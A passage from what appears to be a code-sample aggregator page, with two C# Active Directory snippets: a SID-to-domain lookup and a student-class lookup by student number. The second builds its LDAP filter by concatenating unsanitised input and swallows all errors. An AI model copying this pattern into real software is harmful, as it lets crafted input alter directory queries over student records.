                    //Console.WriteLine("GetSidDomain::LookUpAcctSid (Not Found!)");
                    return(false);
                }
                else
                {
                    //Console.WriteLine("GetSidDomain::LookUpAcctSid (Found!)");
                    sbDomain.Append(contextSystem);
                    return(true);
                }
            }
            else //search in GC
            {
                DirectorySearcher ds = gc.GetDirectorySearcher();
                ds.Filter      = string.Concat("(objectSid=", sid.ToString(), ")");
                ds.SearchScope = SearchScope.Subtree;
                SearchResult sr = ds.FindOne();
                if (sr == null)
                {
                    //Console.WriteLine("GetSidDomain::LookUpAcctSid (Not Found!) (in GC)");
                    return(false);
                }
                else
                {
                    //Console.WriteLine("GetSidDomain::LookUpAcctSid (Found!) (in GC)");
                    sbDomain.Append(contextSystem);
                    return(true);
                }
            }
        }
Esempio n. 47
-1
        private async Task<string> GetStudentClass(string studentnumber)
        {
            await Task.Delay(0);
            try
            {
                using (DirectoryEntry dir = new DirectoryEntry(LDAP_URL)) //Instantiate dir entry and pass the domain
                {
                    dir.Username = USERNAME;
                    dir.Password = PASSWORD;

                    using (DirectorySearcher search = new DirectorySearcher(dir)) //Search query instance
                    {
                        search.Filter = "(&(objectClass=user)(pager=" + studentnumber + "))"; //Filter by pager (Student number)
                        search.PropertiesToLoad.Add("telephoneNumber"); //Allows us to use the "pager" property to search by student ID
                        SearchResult searchresult = search.FindOne();

                        using (DirectoryEntry uEntry = searchresult.GetDirectoryEntry())
                        {
                            string leerlingnaam = uEntry.Properties["givenName"].Value.ToString() + " " + uEntry.Properties["sn"].Value.ToString(); //Store full student name in string
                            string LDAPDescription = uEntry.Properties["memberOf"][1].ToString();

                            //Clean it up to only return the students class id
                            return LDAPDescription.Substring(LDAPDescription.IndexOf('=') + 1, LDAPDescription.IndexOf(',') - 3) + "@" + leerlingnaam;
                        }
                    }
                }
            }
            catch
            {
                return "";
            }
        }